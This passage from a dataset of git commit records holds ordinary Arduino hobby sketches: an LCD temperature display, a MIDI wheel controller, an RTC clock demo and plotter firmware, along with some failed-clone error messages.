destination server.\n while(true)\n while (Serial1.available())\n Serial.write(Serial1.read());\n \n errorHalt(\"ONCE ONLY\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/hack_a_day_program.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bdbde6be8a74fbcbddfa64760e89a11162f5bdeb","subject":"Adding Nokia 5110, TMP and Trimpot Sample","message":"Adding Nokia 5110, TMP and Trimpot Sample\n\nAdding Nokia 5110, TMP and Trimpot Sample\n","repos":"KermEd\/Arduino","old_file":"Nokia_TMP_and_Trimpot\/Nokia_TMP_and_Trimpot.ino","new_file":"Nokia_TMP_and_Trimpot\/Nokia_TMP_and_Trimpot.ino","new_contents":"#include <SPI.h> \/\/ We'll use SPI to transfer data. Faster!\n\n#define PIN_SCE 7\n#define PIN_RESET 6\n#define PIN_DC 5\n#define PIN_SDIN 11\n#define PIN_SCLK 13\n#define PIN_LCD 9 \/\/ backlight\n\n#define PIN_FADER 1 \/\/ analog\n#define PIN_TMP 0 \/\/ analog\n\n#define LCD_C LOW\n#define LCD_D HIGH\n#define LCD_COMMAND 0 \n\n#define LCD_X 84\n#define LCD_Y 48\n \nchar strBuffer[30]; \nint txtCyclesMax = 20;\nint txtCyclesCur = 0;\n \nstatic const byte ASCII[][5] =\n{\n {0x00, 0x00, 0x00, 0x00, 0x00} \/\/ 20 \n,{0x00, 0x00, 0x5f, 0x00, 0x00} \/\/ 21 !\n,{0x00, 0x07, 0x00, 0x07, 0x00} \/\/ 22 \"\n,{0x14, 0x7f, 0x14, 0x7f, 0x14} \/\/ 23 #\n,{0x24, 0x2a, 0x7f, 0x2a, 0x12} \/\/ 24 $\n,{0x23, 0x13, 0x08, 0x64, 0x62} \/\/ 25 %\n,{0x36, 0x49, 0x55, 0x22, 0x50} \/\/ 26 &\n,{0x00, 0x05, 0x03, 0x00, 0x00} \/\/ 27 '\n,{0x00, 0x1c, 0x22, 0x41, 0x00} \/\/ 28 (\n,{0x00, 0x41, 0x22, 0x1c, 0x00} \/\/ 29 )\n,{0x14, 0x08, 0x3e, 0x08, 0x14} \/\/ 2a *\n,{0x08, 0x08, 0x3e, 0x08, 0x08} \/\/ 2b +\n,{0x00, 0x50, 0x30, 0x00, 0x00} \/\/ 2c ,\n,{0x08, 0x08, 0x08, 0x08, 0x08} \/\/ 2d -\n,{0x00, 0x60, 0x60, 0x00, 0x00} \/\/ 2e .\n,{0x20, 0x10, 0x08, 0x04, 0x02} \/\/ 2f backslash\n,{0x3e, 0x51, 0x49, 0x45, 0x3e} \/\/ 30 0\n,{0x00, 0x42, 0x7f, 0x40, 0x00} \/\/ 31 1\n,{0x42, 0x61, 0x51, 0x49, 0x46} \/\/ 32 2\n,{0x21, 0x41, 0x45, 0x4b, 0x31} \/\/ 33 3\n,{0x18, 0x14, 0x12, 0x7f, 0x10} \/\/ 34 4\n,{0x27, 0x45, 0x45, 0x45, 0x39} \/\/ 35 5\n,{0x3c, 0x4a, 0x49, 0x49, 0x30} \/\/ 36 6\n,{0x01, 0x71, 0x09, 0x05, 0x03} \/\/ 37 7\n,{0x36, 0x49, 0x49, 0x49, 0x36} \/\/ 38 8\n,{0x06, 0x49, 0x49, 0x29, 0x1e} \/\/ 39 9\n,{0x00, 0x36, 0x36, 0x00, 0x00} \/\/ 3a :\n,{0x00, 0x56, 0x36, 0x00, 0x00} \/\/ 3b ;\n,{0x08, 0x14, 0x22, 0x41, 0x00} \/\/ 3c <\n,{0x14, 0x14, 0x14, 0x14, 0x14} \/\/ 3d =\n,{0x00, 0x41, 0x22, 0x14, 0x08} \/\/ 3e >\n,{0x02, 0x01, 0x51, 0x09, 0x06} \/\/ 3f ?\n,{0x32, 0x49, 0x79, 0x41, 0x3e} \/\/ 40 @\n,{0x7e, 0x11, 0x11, 0x11, 0x7e} \/\/ 41 A\n,{0x7f, 0x49, 0x49, 0x49, 0x36} \/\/ 42 B\n,{0x3e, 0x41, 0x41, 0x41, 0x22} \/\/ 43 C\n,{0x7f, 0x41, 0x41, 0x22, 0x1c} \/\/ 44 D\n,{0x7f, 0x49, 0x49, 0x49, 0x41} \/\/ 45 E\n,{0x7f, 0x09, 0x09, 0x09, 0x01} \/\/ 46 F\n,{0x3e, 0x41, 0x49, 0x49, 0x7a} \/\/ 47 G\n,{0x7f, 0x08, 0x08, 0x08, 0x7f} \/\/ 48 H\n,{0x00, 0x41, 0x7f, 0x41, 0x00} \/\/ 49 I\n,{0x20, 0x40, 0x41, 0x3f, 0x01} \/\/ 4a J\n,{0x7f, 0x08, 0x14, 0x22, 0x41} \/\/ 4b K\n,{0x7f, 0x40, 0x40, 0x40, 0x40} \/\/ 4c L\n,{0x7f, 0x02, 0x0c, 0x02, 0x7f} \/\/ 4d M\n,{0x7f, 0x04, 0x08, 0x10, 0x7f} \/\/ 4e N\n,{0x3e, 0x41, 0x41, 0x41, 0x3e} \/\/ 4f O\n,{0x7f, 0x09, 0x09, 0x09, 0x06} \/\/ 50 P\n,{0x3e, 0x41, 0x51, 0x21, 0x5e} \/\/ 51 Q\n,{0x7f, 0x09, 0x19, 0x29, 0x46} \/\/ 52 R\n,{0x46, 0x49, 0x49, 0x49, 0x31} \/\/ 53 S\n,{0x01, 0x01, 0x7f, 0x01, 0x01} \/\/ 54 T\n,{0x3f, 0x40, 0x40, 0x40, 0x3f} \/\/ 55 U\n,{0x1f, 0x20, 0x40, 0x20, 0x1f} \/\/ 56 V\n,{0x3f, 0x40, 0x38, 0x40, 0x3f} \/\/ 57 W\n,{0x63, 0x14, 0x08, 0x14, 0x63} \/\/ 58 X\n,{0x07, 0x08, 0x70, 0x08, 0x07} \/\/ 59 Y\n,{0x61, 0x51, 0x49, 0x45, 0x43} \/\/ 5a Z\n,{0x00, 0x7f, 0x41, 0x41, 0x00} \/\/ 5b [\n,{0x02, 0x04, 0x08, 0x10, 0x20} \/\/ 5c \u00a5\n,{0x00, 0x41, 0x41, 0x7f, 0x00} \/\/ 5d ]\n,{0x04, 0x02, 0x01, 0x02, 0x04} \/\/ 5e ^\n,{0x40, 0x40, 0x40, 0x40, 0x40} \/\/ 5f _\n,{0x00, 0x01, 0x02, 0x04, 0x00} \/\/ 60 `\n,{0x20, 0x54, 0x54, 0x54, 0x78} \/\/ 61 a\n,{0x7f, 0x48, 0x44, 0x44, 0x38} \/\/ 62 b\n,{0x38, 0x44, 0x44, 0x44, 0x20} \/\/ 63 c\n,{0x38, 0x44, 0x44, 0x48, 0x7f} \/\/ 64 d\n,{0x38, 0x54, 0x54, 0x54, 0x18} \/\/ 65 e\n,{0x08, 0x7e, 0x09, 0x01, 0x02} \/\/ 66 f\n,{0x0c, 0x52, 0x52, 0x52, 0x3e} \/\/ 67 g\n,{0x7f, 0x08, 0x04, 0x04, 0x78} \/\/ 68 h\n,{0x00, 0x44, 0x7d, 0x40, 0x00} \/\/ 69 i\n,{0x20, 0x40, 0x44, 0x3d, 0x00} \/\/ 6a j \n,{0x7f, 0x10, 0x28, 0x44, 0x00} \/\/ 6b k\n,{0x00, 0x41, 0x7f, 0x40, 0x00} \/\/ 6c l\n,{0x7c, 0x04, 0x18, 0x04, 0x78} \/\/ 6d m\n,{0x7c, 0x08, 0x04, 0x04, 0x78} \/\/ 6e n\n,{0x38, 0x44, 0x44, 0x44, 0x38} \/\/ 6f o\n,{0x7c, 0x14, 0x14, 0x14, 0x08} \/\/ 70 p\n,{0x08, 0x14, 0x14, 0x18, 0x7c} \/\/ 71 q\n,{0x7c, 0x08, 0x04, 0x04, 0x08} \/\/ 72 r\n,{0x48, 0x54, 0x54, 0x54, 0x20} \/\/ 73 s\n,{0x04, 0x3f, 0x44, 0x40, 0x20} \/\/ 74 t\n,{0x3c, 0x40, 0x40, 0x20, 0x7c} \/\/ 75 u\n,{0x1c, 0x20, 0x40, 0x20, 0x1c} \/\/ 76 v\n,{0x3c, 0x40, 0x30, 0x40, 0x3c} \/\/ 77 w\n,{0x44, 0x28, 0x10, 0x28, 0x44} \/\/ 78 x\n,{0x0c, 0x50, 0x50, 0x50, 0x3c} \/\/ 79 y\n,{0x44, 0x64, 0x54, 0x4c, 0x44} \/\/ 7a z\n,{0x00, 0x08, 0x36, 0x41, 0x00} \/\/ 7b {\n,{0x00, 0x00, 0x7f, 0x00, 0x00} \/\/ 7c |\n,{0x00, 0x41, 0x36, 0x08, 0x00} \/\/ 7d }\n,{0x10, 0x08, 0x08, 0x10, 0x08} \/\/ 7e \u2190\n,{0x78, 0x46, 0x41, 0x46, 0x78} \/\/ 7f \u2192\n};\n\nvoid LcdCharacter(char character)\n{\n LcdWrite(LCD_D, 0x00);\n for (int index = 0; index < 5; index++)\n {\n LcdWrite(LCD_D, ASCII[character - 0x20][index]);\n }\n LcdWrite(LCD_D, 0x00);\n}\n\nvoid LcdClear(void)\n{\n for (int index = 0; index < LCD_X * LCD_Y \/ 8; index++)\n {\n LcdWrite(LCD_D, 0x00);\n }\n}\n\nvoid LcdInitialise(void)\n{\n pinMode(PIN_SCE, OUTPUT);\n pinMode(PIN_RESET, OUTPUT);\n pinMode(PIN_DC, OUTPUT);\n pinMode(PIN_SDIN, OUTPUT);\n pinMode(PIN_SCLK, OUTPUT);\n pinMode(PIN_LCD, OUTPUT);\n digitalWrite(PIN_LCD, HIGH);\n \n digitalWrite(PIN_RESET, LOW);\n digitalWrite(PIN_RESET, HIGH);\n \n LcdWrite(LCD_C, 0x21 ); \/\/ LCD Extended Commands.\n LcdWrite(LCD_C, 0xB1 ); \/\/ Set LCD Vop (Contrast). \n LcdWrite(LCD_C, 0x04 ); \/\/ Set Temp coefficent. \/\/0x04\n LcdWrite(LCD_C, 0x14 ); \/\/ LCD bias mode 1:48. \/\/0x13\n LcdWrite(LCD_C, 0x0C ); \/\/ LCD in normal mode.\n LcdWrite(LCD_C, 0x20 );\n LcdWrite(LCD_C, 0x0C );\n}\n\nvoid LcdString(char *characters)\n{\n while (*characters)\n {\n LcdCharacter(*characters++);\n }\n}\n\nvoid LcdWrite(byte dc, byte data)\n{\n digitalWrite(PIN_DC, dc);\n digitalWrite(PIN_SCE, LOW);\n shiftOut(PIN_SDIN, PIN_SCLK, MSBFIRST, data);\n digitalWrite(PIN_SCE, HIGH);\n}\n\nvoid setup(void)\n{\n \n \/\/ pinMode(PIN_TMP, INPUT);\n \/\/ pinMode(PIN_FADER, INPUT);\n Serial.begin(9600); \n LcdInitialise();\n LcdClear();\n LcdString(\"Starting\");\n}\n\nvoid loop(void)\n{\n delay(10);\n \n long contrast = analogRead(PIN_FADER);\n contrast = (contrast * 255)\/1024;\n \/\/ \n Serial.print(\"Contrast:\");\n Serial.println(contrast);\n txtCyclesCur = txtCyclesCur + 1;\n setContrast(contrast);\n \n if (txtCyclesCur > txtCyclesMax) {\n \n LcdClear();\n \n float voltage, degreesC, degreesF;\n voltage = getVoltage(PIN_TMP);\n degreesC = (voltage - 0.5) * 100.0;\n degreesF = degreesC * (9.0\/5.0) + 32.0;\n \n gotoXY(0,10);\n LcdString(\"TEMP \");\n itoa(degreesC,strBuffer,10);\n LcdString(strBuffer);\n LcdString(\"C \");\n itoa(degreesF,strBuffer,10);\n LcdString(strBuffer);\n LcdString(\"F\");\n \n itoa(contrast,strBuffer,10);\n gotoXY(0,0);\n LcdString(\"BACKLT \");\n LcdString(strBuffer);\n txtCyclesCur = 0;\n };\n}\n\n\nvoid setContrast(byte contrast)\n{ \n analogWrite(PIN_LCD, contrast);\n}\n\nvoid gotoXY(int x, int y)\n{\n LcdWrite( 0, 0x80 | x); \/\/ Column.\n LcdWrite( 0, 0x40 | y); \/\/ Row. \n\n}\n\nfloat getVoltage(int pin)\n{\n return (analogRead(pin) * 0.004882814);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Nokia_TMP_and_Trimpot\/Nokia_TMP_and_Trimpot.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"8151f7298f9691aa681e4b2aa65d7d6c60ce20b5","subject":"Fixed GPS Telemetry.","message":"Fixed GPS Telemetry.\n","repos":"tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer","old_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tylergrreid\/Arduino_Flight_Computer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ab9b13904d935bee95964dff318d631d1f9b2663","subject":"Wheel Controller 1_0 Code","message":"Wheel Controller 1_0 Code\n","repos":"TravisThatcher\/WheelController","old_file":"src\/WheelController1_0\/WheelController1_0.ino","new_file":"src\/WheelController1_0\/WheelController1_0.ino","new_contents":"\/*\n WheelController1_0 - This is the latest functional version of the Wheel Controller.\n It utilizes 2 wheel assemblies as found in the DIY section from http:\/\/www.doepfer.de\n as well as providing for an additional 4 potentiometer conrols. All analog inputs\n generate MIDI data. Wheel 0 is reserved to send pitch bend information but the other\n controls can be configured to send data on any MIDI CC.\n*\/\n\n#include <MIDI.h>\n\n\/************** EDIT HERE ****************\/\n\n\/\/ MIDI channel to send messages to\nconst int channelOut = 1;\n\n\/\/ MIDI CC Number for 2nd wheel and pots\nconst int CONTROLWHEEL2 = 1;\nconst int CONTROLPOT0 = 7;\nconst int CONTROLPOT1 = 8;\nconst int CONTROLPOT2 = 9;\nconst int CONTROLPOT3 = 10;\n\n\/************ END EDIT HERE **************\/\n\nint lastWheel0 = 100000;\nint lastWheel1 = 100000;\n\nint lastPot0 = 100000;\nint lastPot1 = 100000;\nint lastPot2 = 100000;\nint lastPot3 = 100000;\n\nconst int numReadings = 30;\n\nint wheel0Min = 1023;\nint wheel1Min = 1023;\nint pot0Min = 1023;\nint pot1Min = 1023;\nint pot2Min = 1023;\nint pot3Min = 1023;\n\nint wheel0Max = 0;\nint wheel1Max = 0;\nint pot0Max = 0;\nint pot1Max = 0;\nint pot2Max = 0;\nint pot3Max = 0;\n\nboolean cMode = false;\n\nint wheel0Raw = 0;\nint wheel1Raw = 0;\n\nint pot0Raw = 0;\nint pot1Raw = 0;\nint pot2Raw = 0;\nint pot3Raw = 0;\n\nint index=0;\nint readings0[numReadings];\nint readings1[numReadings];\nint readingsP0[numReadings];\nint readingsP1[numReadings];\nint readingsP2[numReadings];\nint readingsP3[numReadings];\n\nint wheel0Total = 0;\nint wheel1Total = 0;\nint pot0Total = 0;\nint pot1Total = 0;\nint pot2Total = 0;\nint pot3Total = 0;\n\nint wheel0Avg = 0;\nint wheel1Avg = 0;\nint pot0Avg = 0;\nint pot1Avg = 0;\nint pot2Avg = 0;\nint pot3Avg = 0;\n\nboolean FIRSTRUN = true;\nstatic boolean test=false;\n\nint WHEEL1 = A0;\nint WHEEL2 = A1;\n\nint POT0 = A2;\nint POT1 = A3;\nint POT2 = A4;\nint POT3 = A5;\n\nvoid setup() {\n if(test==false){\n MIDI.begin(1); \n MIDI.turnThruOff();\n }\n pinMode(8, INPUT);\n pinMode(13, OUTPUT);\nif(test==true){\n Serial.begin(9600); \n}\n readings0[0]=0;\n readings1[0]=0;\n readingsP0[0]=0;\n readingsP1[0]=0;\n readingsP2[0]=0;\n readingsP3[0]=0;\n \/\/calibrate! \n\n}\n\nvoid calibrate_wheels(){\n wheel0Raw = analogRead(WHEEL1);\n wheel1Raw = analogRead(WHEEL2);\n pot0Raw = analogRead(POT0);\n pot1Raw = analogRead(POT1);\n pot2Raw = analogRead(POT2);\n pot3Raw = analogRead(POT3);\n \/\/ record the maximum sensor value\n if (wheel0Raw > wheel0Max) {\n wheel0Max = wheel0Raw;\n }\n \n if (wheel1Raw > wheel1Max){\n wheel1Max = wheel1Raw;\n }\n \n if (pot0Raw > pot0Max){\n pot0Max = pot0Raw;\n }\n if (pot1Raw > pot1Max){\n pot1Max = pot1Raw;\n }\n if (pot2Raw > pot2Max){\n pot2Max = pot2Raw;\n }\n if (pot3Raw > pot3Max){\n pot3Max = pot3Raw;\n }\n\n \/\/ record the minimum sensor value\n if (wheel0Raw < wheel0Min) {\n wheel0Min = wheel0Raw;\n }\n if (wheel1Raw < wheel1Min) {\n wheel1Min = wheel1Raw;\n } \n \n if (pot0Raw < pot0Min){\n pot0Min = pot0Raw;\n }\n if (pot1Raw < pot1Min){\n pot1Min = pot1Raw;\n }\n if (pot2Raw < pot2Min){\n pot2Min = pot2Raw;\n }\n if (pot3Raw < pot3Min){\n pot3Min = pot3Raw;\n } \n \n}\n\nvoid loop() {\n\n int calibrate = digitalRead(8);\n \n if(calibrate==HIGH){\n if(cMode==false){\n cMode=true;\n wheel0Min = 1500;\n wheel1Min = 1500;\n wheel0Max = 0;\n wheel1Max = 0;\n \n pot0Min = 1500;\n pot1Min = 1500;\n pot2Min = 1500;\n pot3Min = 1500;\n \n pot0Max = 0;\n pot1Max = 0;\n pot2Max = 0;\n pot3Max = 0;\n \n }\n \n digitalWrite(13, HIGH);\n calibrate_wheels(); \n\n return;\n }else{\n digitalWrite(13, LOW); \n cMode=false;\n }\n \n \n \n \/\/ average the readings!\n wheel0Total = wheel0Total - readings0[index];\n wheel1Total = wheel1Total - readings1[index];\n pot0Total = pot0Total - readingsP0[index];\n pot1Total = pot1Total - readingsP1[index];\n pot2Total = pot2Total - readingsP2[index];\n pot3Total = pot3Total - readingsP3[index];\n \n readings0[index] = analogRead(WHEEL1);\n readings1[index] = analogRead(WHEEL2);\n readingsP0[index] = analogRead(POT0);\n readingsP1[index] = analogRead(POT1);\n readingsP2[index] = analogRead(POT2);\n readingsP3[index] = analogRead(POT3);\nif(test==true){\n Serial.println(readings0[index]);\n}\n wheel0Total = wheel0Total + readings0[index];\n wheel1Total = wheel1Total + readings1[index];\n pot0Total = pot0Total + readingsP0[index];\n pot1Total = pot1Total + readingsP1[index];\n pot2Total = pot2Total + readingsP2[index];\n pot3Total = pot3Total + readingsP3[index];\n index = index + 1;\n \n if(index >= numReadings){\n index=0;\n }\n \n wheel0Avg = wheel0Total \/ numReadings;\n wheel1Avg = wheel1Total \/ numReadings;\n pot0Avg = pot0Total \/ numReadings;\n pot1Avg = pot1Total \/ numReadings;\n pot2Avg = pot2Total \/ numReadings;\n pot3Avg = pot3Total \/ numReadings;\n\n \/\/ Process Mod cc\n if(wheel0Avg<wheel0Min){\n wheel0Avg=wheel0Min;\n }\n \n if(wheel0Avg>wheel0Max){\n wheel0Avg=wheel0Max;\n }\n int mappedWheel0 = map(wheel0Avg, wheel0Min, wheel0Max, -8192, 8191);\n\n \n if(mappedWheel0>8000) mappedWheel0 = 8191;\n if(mappedWheel0<-7500) mappedWheel0 = -8192;\n\n \n if(mappedWheel0<1200&&mappedWheel0>-200){\n mappedWheel0=0; \n }\n \n if(mappedWheel0>lastWheel0+150||mappedWheel0<lastWheel0-150){\n \n lastWheel0 = mappedWheel0;\n \n \/\/Serial.println(mappedWheel0);\n if(test==false){\n MIDI.sendPitchBend(mappedWheel0, channelOut);\n }\n \/\/Serial.println(mappedWheel0);\n }else{\n \n }\n \n \/\/ Process Volume cc\n\n int mappedWheel1 = map(wheel1Avg, wheel1Min, wheel1Max, 0, 127); \/\/map value to 0-127\n\n if(mappedWheel1>124) mappedWheel1 = 127;\n if(mappedWheel1<5) mappedWheel1 = 0;\n\n if(mappedWheel1>lastWheel1+2||mappedWheel1<lastWheel1-2){\n lastWheel1=mappedWheel1;\n \/\/\n if(test==false){\n MIDI.sendControlChange(CONTROLWHEEL2, mappedWheel1, channelOut);\n }\n \/\/ digitalWrite(13, HIGH); \n }else{\n\n }\n \n \/\/ Process Control0 cc\n\n int mappedPot0 = map(pot0Avg, pot0Min, pot0Max, 0, 127); \/\/map value to 0-127\n\n if(mappedPot0>125) mappedPot0 = 127;\n if(mappedPot0<2) mappedPot0 = 0;\n\n if(mappedPot0>lastPot0+2||mappedPot0<lastPot0-2){\n lastPot0=mappedPot0;\n \/\/\n if(test==false){\n MIDI.sendControlChange(CONTROLPOT0, mappedPot0, channelOut);\n }\n \/\/ digitalWrite(13, HIGH); \n }else{\n\n }\n \n \/\/ Process Control1 cc\n\n int mappedPot1 = map(pot1Avg, pot1Min, pot1Max, 0, 127); \/\/map value to 0-127\n\n if(mappedPot1>125) mappedPot1 = 127;\n if(mappedPot1<2) mappedPot1 = 0;\n\n if(mappedPot1>lastPot1+2||mappedPot1<lastPot1-2){\n lastPot1=mappedPot1;\n \/\/\n if(test==false){\n MIDI.sendControlChange(CONTROLPOT1, mappedPot1, channelOut);\n }\n \/\/ digitalWrite(13, HIGH); \n }else{\n\n }\n \n \/\/ Process Control0 cc\n\n int mappedPot2 = map(pot2Avg, pot2Min, pot2Max, 0, 127); \/\/map value to 0-127\n\n if(mappedPot2>125) mappedPot2 = 127;\n if(mappedPot2<2) mappedPot2 = 0;\n\n if(mappedPot2>lastPot2+2||mappedPot2<lastPot2-2){\n lastPot2=mappedPot2;\n \/\/\n if(test==false){\n MIDI.sendControlChange(CONTROLPOT2, mappedPot2, channelOut);\n }\n \/\/ digitalWrite(13, HIGH); \n }else{\n\n }\n \n \/\/ Process Control0 cc\n\n int mappedPot3 = map(pot3Avg, pot3Min, pot3Max, 0, 127); \/\/map value to 0-127\n\n if(mappedPot3>125) mappedPot3 = 127;\n if(mappedPot3<2) mappedPot3 = 0;\n\n if(mappedPot3>lastPot3+2||mappedPot3<lastPot3-2){\n lastPot3=mappedPot3;\n \/\/\n if(test==false){\n MIDI.sendControlChange(CONTROLPOT3, mappedPot3, channelOut);\n }\n \/\/ digitalWrite(13, HIGH); \n }else{\n\n }\n \n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/WheelController1_0\/WheelController1_0.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"79f229ebc150ff9b30da9a4ac9609b6406dc3289","subject":"thing","message":"thing\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"883eda2a32d38a2f4650a29fb4557454090413a5","subject":"Update quad_complete.ino","message":"Update quad_complete.ino","repos":"mcprakash\/D-Sub-Drone,mcprakash\/D-Sub-Drone,mcprakash\/D-Sub-Drone","old_file":"src\/quad_complete.ino","new_file":"src\/quad_complete.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcprakash\/D-Sub-Drone.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"df65db8a9e0f197fac1b0f50c8777a2348a7643b","subject":"New RTC time example sketch with LCD and internal RTC time-keeper.","message":"New RTC time example sketch with LCD and internal RTC time-keeper.\n","repos":"dansut\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,kc9jud\/Cosa,kc9jud\/Cosa,dansut\/Cosa,rrobinet\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,kc9jud\/Cosa,kc9jud\/Cosa,rrobinet\/Cosa,rrobinet\/Cosa","old_file":"examples\/Time\/CosaTimeLCD\/CosaTimeLCD.ino","new_file":"examples\/Time\/CosaTimeLCD\/CosaTimeLCD.ino","new_contents":"\/**\n * @file CosaTimeLCD.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2014, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * @section Description\n * Cosa Time and LCD demo with internal RTC.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Time.hh\"\n#include \"Cosa\/RTC.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/IOStream.hh\"\n#include \"Cosa\/LCD\/Driver\/HD44780.hh\"\n\n\/\/ Select the access port for the LCD\n\/\/ HD44780::Port4b port;\n\/\/ HD44780::SR3W port;\n\/\/ HD44780::SR3WSPI port;\n\/\/ HD44780::SR4W port;\n\/\/ HD44780::ERM1602_5 port;\n\/\/ HD44780::MJKDZ port;\n\/\/ HD44780::GYIICLCD port;\nHD44780::DFRobot port;\nHD44780 lcd(&port);\n\n\/\/ Bind the lcd to an io-stream\nIOStream cout(&lcd);\n\n\/\/ Start time (set to 30 seconds before New Years 2014)\nclock_t epoch;\n\nvoid setup()\n{\n RTC::begin();\n Watchdog::begin();\n lcd.begin();\n cout << PSTR(\"CosaTimeLCD: started\");\n\n \/\/ Set start time\n time_t now;\n now.seconds = 0x30;\n now.minutes = 0x59;\n now.hours = 0x23;\n now.date = 0x31;\n now.month = 0x12;\n now.year = 0x13;\n epoch = now;\n RTC::time(epoch);\n}\n\nvoid loop()\n{\n \/\/ Read internal RTC time\n clock_t clock = RTC::time();\n time_t now(clock);\n\n \/\/ First line with date and seconds since epoch. Use BCD format output\n cout << clear \n << bcd << now.year << '-'\n << bcd << now.month << '-'\n << bcd << now.date << ' '\n << RTC::diff(clock, epoch);\n\n \/\/ Second line with time and battery status\n lcd.set_cursor(0, 1);\n cout << bcd << now.hours << ':'\n << bcd << now.minutes << ':'\n << bcd << now.seconds << ' '\n << AnalogPin::bandgap(1100) << PSTR(\" mV\");\n\n \/\/ Take a nap until seconds update\n while (clock == RTC::time()) yield();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Time\/CosaTimeLCD\/CosaTimeLCD.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"365359561f5e0a9d3221a8249d20e6249034a183","subject":"firmware","message":"firmware\n","repos":"fogleman\/xy,mrzl\/Composition37XY","old_file":"firmware\/firmware.ino","new_file":"firmware\/firmware.ino","new_contents":"#include <EEPROM.h>\n#include <Servo.h>\n#include <SoftwareSerial.h>\n#include <Wire.h>\n\n\/\/ data stored in eeprom\nstatic union{\n struct{\n char name[8];\n unsigned char motoADir;\n unsigned char motoBDir;\n unsigned char motorSwitch;\n int height;\n int width;\n int speed;\n int penUpPos;\n int penDownPos;\n }data;\n char buf[64];\n}roboSetup;\n\nfloat curX,curY,curZ;\nfloat tarX,tarY,tarZ; \/\/ target xyz position\nint tarA,tarB,posA,posB; \/\/ target stepper position\nint8_t motorAfw,motorAbk;\nint8_t motorBfw,motorBbk;\n\nint ylimit_pin1 = 12;\nint ylimit_pin2 = 13;\nint xlimit_pin1 = A2;\nint xlimit_pin2 = A3;\nint servopin = A1;\nServo servoPen;\n\n\/************** motor movements ******************\/\nvoid stepperMoveA(int dir)\n{\n if(dir>0){\n digitalWrite(11, LOW);\n }else{\n digitalWrite(11, HIGH);\n }\n digitalWrite(10, HIGH);\n digitalWrite(10, LOW);\n}\n\nvoid stepperMoveB(int dir)\n{\n if(dir>0){\n digitalWrite(3, LOW);\n }else{\n digitalWrite(3, HIGH);\n }\n digitalWrite(9, HIGH);\n digitalWrite(9, LOW);\n}\n\n\/************** calculate movements ******************\/\nint stepAuxDelay=0;\nint stepdelay_min=200;\nint stepdelay_max=2000;\n#define SPEED_STEP 1\n\nvoid doMove()\n{\n int mDelay=stepdelay_max;\n int speedDiff = -SPEED_STEP;\n int dA,dB,maxD;\n float stepA,stepB,cntA=0,cntB=0;\n int d;\n dA = tarA - posA;\n dB = tarB - posB;\n maxD = max(abs(dA),abs(dB));\n stepA = (float)abs(dA)\/(float)maxD;\n stepB = (float)abs(dB)\/(float)maxD;\n for(int i=0;(posA!=tarA)||(posB!=tarB);i++){\n \/\/ move A\n if(posA!=tarA){\n cntA+=stepA;\n if(cntA>=1){\n d = dA>0?motorAfw:motorAbk;\n posA+=(dA>0?1:-1);\n stepperMoveA(d);\n cntA-=1;\n }\n }\n \/\/ move B\n if(posB!=tarB){\n cntB+=stepB;\n if(cntB>=1){\n d = dB>0?motorBfw:motorBbk;\n posB+=(dB>0?1:-1);\n stepperMoveB(d);\n cntB-=1;\n }\n }\n mDelay=constrain(mDelay+speedDiff,stepdelay_min,stepdelay_max)+stepAuxDelay;\n delayMicroseconds(mDelay);\n if((maxD-i)<((stepdelay_max-stepdelay_min)\/SPEED_STEP)){\n speedDiff=SPEED_STEP;\n }\n }\n posA = tarA;\n posB = tarB;\n}\n\n\/******** mapping xy position to steps ******\/\n#define WIDTH 380\n#define HEIGHT 310\n#define STEPS_PER_MM 87.58 \/\/ the same as 3d printer\nvoid prepareMove()\n{\n float dx = tarX - curX;\n float dy = tarY - curY;\n float distance = sqrt(dx*dx+dy*dy);\n if (distance < 0.001)\n return;\n tarA = tarX*STEPS_PER_MM;\n tarB = tarY*STEPS_PER_MM;\n doMove();\n curX = 